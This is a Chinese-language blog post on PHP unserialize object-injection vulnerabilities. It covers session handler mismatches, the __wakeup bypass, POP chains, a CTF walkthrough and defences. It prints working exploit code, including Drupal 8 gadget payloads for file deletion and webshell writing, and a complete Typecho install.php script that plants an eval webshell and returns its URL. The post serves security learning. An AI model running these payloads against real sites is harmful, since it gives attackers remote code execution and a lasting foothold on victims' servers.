php对象注入总结

0x01前言

暑假里留下的坑,反序列化和对象注入的概念比较模糊,写着写着自己就懵逼了,两个概念搅在一起。。。写的比较浅,有挺多东西还得深入研究。。。

0x02反序列化导致的对象注入

php反序列化漏洞一般出现在两种场景中:

  1. PHP Session 序列化及反序列化处理器设置使用不当。
  2. 将传来的序列化数据直接unserilize,造成魔幻函数的执行。

下面分别来看一下:

2.1 PHP Session 序列化及反序列化处理器设置使用不当

首先需要一点预备知识

php在存取$_SESSION的数据时会对数据进行序列化与反序列化,对此php内置了多种处理器,常见的有三种:

mark

如果 PHP 在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。举个小例子:

test1.php

<?php
    //设置序列化及反序列化时使用的处理器
    ini_set('session.serialize_handler', 'php_serialize'); 
    @session_start(); 
    $_SESSION['test'] = '|O:8:"stdClass":0:{}';
    var_dump($_SESSION);    
    //运行结果: array(1) { ["test"]=> string(20) "|O:8:"stdClass":0:{}" }
 ?>

在设置了session之后访问另一个页面

test2.php

<?php 
    @session_start();
    var_dump($_SESSION);
    //运行结果: array(1) { ["a:1:{s:4:"test";s:20:""]=> object(stdClass)#1 (0) { } }
 ?>

这个页面没有设置任何处理器,使用默认的session.serialize_handler = php,可以看到通过注入|,伪造了对象的序列化数据,php把"a:1:{s:4:"test";s:20:""当做了键名,成功实例化了stdClass对象,造成了php对象注入。

实际利用的话分两种情况

  • session.auto_start=On

当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。

修改一下上文中test1.php

if(ini_get('session.auto_start')) 
    session_destroy();

ini_set('session.serialize_handler', 'php_serialize');
session_start();

if(isset($_GET['test']))
    $_SESSION['test'] = $_GET['test'];

访问http://127.0.0.1/test/serialize/test1.php?test=|O:8:"stdClass":0:{}

如果在这个session设置成功后,有其他的页面使用这个session,由于处理器的不同,就会导致安全问题。然而PHP自动注册Session会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

  • session.auto_start = Off

两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,就像前面预备知识提到的那样。

test1.php

<?php
    ini_set('session.serialize_handler', 'php_serialize'); 
    @session_start(); 
    $_SESSION['test'] = '|O:4:"test":1:{s:2:"hi";s:4:"test";}';
?>

test2.php

<?php
    ini_set('session.serialize_handler', 'php');  
    @session_start();
    class test {
        public $hi;
        
        function __wakeup() {
            echo "__wakeup called<br/>";
            echo "hi ";
        }

        function __destruct() {
            echo $this->hi;
        }
    }

    /*输出:
        __wakeup called
        hi test
    */
 ?>

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

首先访问test1.php,php会按照 php_serialize 处理器的序列化格式存储数据。访问 test2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 test 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法。

2.2 将传来的序列化数据直接unserilize,造成魔幻函数的执行

这个问题其实上面已经提到过,unserialize函数在执行时会调用__wakeup方法和__destruct方法(如果存在)。如果这两个函数中存在一些重要的或者存在漏洞的代码,恰好反序列化的数据是可控的,这些代码就会被恶意执行,造成意想不到的后果。

php的magic function在这儿:http://php.net/manual/zh/language.oop5.magic.php,还有一些其他的有意思的魔术方法。

但是我们在这里举一个不一样的例子,有点反其道而行之的意思。试想,既然在unserialize时候会调用__wakeup函数,如果反序列化的数据存在问题的话,直接在__wakeup方法给过滤掉不就行了。那么我们的目标就从执行__wakeup变为了绕过他。

<?php 
    class Test {
        public $username; 

        public function __wakeup() {
            $this->username = addslashes($this->username);
        }
    }

    $t = new Test();
    $t->username = $_GET['test'];
    //echo serialize($t);
    $info = serialize($t);
    //do something... set cookie or insert into database...
    $info = unserialize($info);
    var_dump($info);
?>

mark

这里用来bypass__wakeup的是php5.6以下版本的一个漏洞——CVE-2016-7124

稍微修改一下代码:

<?php 
    error_reporting(0);
    class Test {
        public $username;
 
        function __wakeup() {
            echo "__wakeup called<br/>";
            $this->username = addslashes($this->username);
        }

        function __destruct() {
            echo "__destruct called ";
            echo $this->username;
        }
    }

    $info = $_GET['info'];
    $obj = unserialize($info);
?>

mark

mark

可以看到,当我们修改了属性个数时,就会导致__wakeup()中的语句不被执行。

实战见 SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析,文章写的很详细了,不再多说。

0x03 进阶--构造pop链

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。

反序列化可以控制类属性,无论是private还是public

一个小例子:

<?php
      class Evil {
        private $data;

        public function action() {
            eval($this->data);
        }
    }

    class Test {
        protected $obj;

        public function __destruct() {
            //$this->obj->action();
            $this->handle();
        }

        public function handle() {
            $this->obj->action();
        }
    }
    unserialize($_GET['info']);
 ?>

Evil类中的action方法存在漏洞,但是我们无法直接调用他。这时候我们发现Test类中有__destruct方法,并且调用了obj的action方法。这里我们可以控制Test类的obj属性为任意对象,这里我们将obj实例化为Evil的对象。

<?php 
    class Test {
        protected $obj; //这里无法直接实例化,需要在构造方法中new

        public function __construct() {
            $this->obj = new Evil(); //将obj实例化为Evil的对象
        }
    }
    
    class Evil {
        private $data = "phpinfo();";
    }

    $t = new Test();
    echo urlencode(serialize($t));
 ?>

mark

这里在生成序列化字符串的时候记得urlencode一下,因为如果类中存在protected或private属性,在序列化时会有一些空字节,直接输出是看不出来的,payload也不会生效。

我们在构造好pop链之后,需要运行php得到payload,然后再放到python脚本中,非常麻烦。这里推荐一个php curl的类库:https://github.com/php-mod/curl,github上的几个都试了一下,个人感觉这个比较顺手。虽然没有requests那么强大,不过够用了。

实战一:Joomla

Joomla远程代码执行漏洞分析(总结) 无处不在的p牛,感觉不管研究什么漏洞,转一圈总能看到p牛的blog。。。膜。。。

实战二:Drupal 8.0

CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造

附上文中三处可利用类的exp

  1. /vendor/symfony/process/Pipes/WindowsPipes.php 任意文件删除

    namespace Symfony\Component\Process\Pipes;
    class WindowsPipes {
        private $files = array('/var/www/html/1.txt');
    }
    $w = new WindowsPipes();
    echo '!php/object "'.addslashes((serialize($w))).'"';
  2. /vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 写入webshell

    <?php
        require '/var/www/html/vendor/autoload.php';
        use GuzzleHttp\Cookie\FileCookieJar;
        use GuzzleHttp\Cookie\SetCookie;
        $obj = new FileCookieJar('/var/www/html/shell.php');
        $payload = '<?php @eval($_POST[123]);?>';
        $obj->setCookie(new SetCookie([
            'Name' => 'foo',
            'Domain' => $payload,
            'Value'=> 'bar',
            'Expires' => time()]));
        echo '!php/object "'.addslashes(serialize($obj)).'"');
    ?>
  3. /vendor/guzzlehttp/psr7/src/FnStream.php 任意无参函数执行

    <?php 
    namespace GuzzleHttp\Psr7;
    class FnStream {
        public $_fn_close = 'phpinfo';
    }
    
    $f = new FnStream();
    echo '!php/object "'.addslashes((serialize($f))).'"';

实战三:Typecho

2017-10-24

Typecho出事了!!!没有错,我的博客也是Typecho。。。不过我搭好之后就把install.php给删了。本来install的问题很古老了,但是Typecho愣是在安装完成之后对install.php没有做任何操作,难道是官网推荐下载的稳定版本是2014年的原因?

分析文章(Typecho install.php 反序列化导致任意代码执行)写的很清楚了,附上php版本的exp

<?php
require '../vendor/autoload.php';
use \Curl\Curl;

class Typecho_Feed
{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_charset;
    private $_lang;
    private $_items = array();

    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function addItem(array $item)
    {
        $this->_items[] = $item;
    }
}

class Typecho_Request
{
    private $_param = array(
        'screenName'=> 'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')'
    );
    private $_filter = array('assert');
}

$payload1 = new Typecho_Feed(5, 'ATOM 1.0');
$payload2 = new Typecho_Request();
$payload1->addItem(array('author'=> $payload2));
$exp['adapter'] = $payload1;
$exp['prefix'] = 'test';
$_typecho_config = base64_encode(serialize($exp));
//echo $_typecho_config;

$curl = new Curl();
$curl->setOpt(CURLOPT_SSL_VERIFYPEER, FALSE); //访问https
$target_url = 'https:/127.0.0.1/typecho';
$url = $target_url.'/install.php?finish=1';

$curl->get($target_url.'/install.php');
if($curl->error) 
    exit('install.php is not exist');
else
    echo "install.php is exist\n";

    $curl->setCookie('__typecho_lang', 'zh_CN');
    $curl->setCookie('__typecho_config', $_typecho_config);
    $curl->get($url);
    $shell_url = $target_url.'/usr/themes/default/img/c.php';
    $curl->get($shell_url);
    echo ($curl->error) ? 'Falied...' : $shell_url;

0x04 牛刀小试

菜鸡挖不到洞就只能做ctf。。。

首先是jarvisoj上的phpinfo

http://web.jarvisoj.com:32784/

 <?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

index.php使用的序列化处理器为php,通过查看phpinfo可知默认为php_serialize。可是漏洞的触发点在哪儿?我们如何将数据存入$_SESSION中?

继续看phpinfo,发现session.upload_progress.enabled打开且session.upload_progress.cleanup关闭的。

mark

知识点来了:

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

所以我们要先写一个html页面:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来的任务是构造序列化字符串。

<?php
class OowoO
{
    public $mdzz = 'payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

通过phpinfo获得网站路径为/opt/lampp/htdocs,首先列目录

public $mdzz = "print_r(scandir('/opt/lampp/htdocs'));";
得到序列化字符串: 
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir('/opt/lampp/htdocs'));\";}

使用之前的写好的html页面上传任意文件,抓包修改filename

mark

双引号需要转义一下。

接下来是读取Here_1s_7he_fl4g_buT_You_Cannot_see.php中的内容。

mark

任务完成~

还有一个lemon大佬的php反序列化pop链一则,篇幅问题就不再写。。。

0x05 防御

  1. 尽量使用json_endcode/json_decode来代替serialize/unserialize
  2. unserialize中存在用户可控部分时进行严格过滤

    preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
    if (count($matches)) {
        return false;
    }

from SugarCRMv6.5.24

0x06 参考资料

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

有趣的php反序列化总结

magic函数__wakeup()引发的漏洞

【技术分享】PHP反序列化漏洞成因及漏洞挖掘技巧与案例

PHP Object Inject

标签: none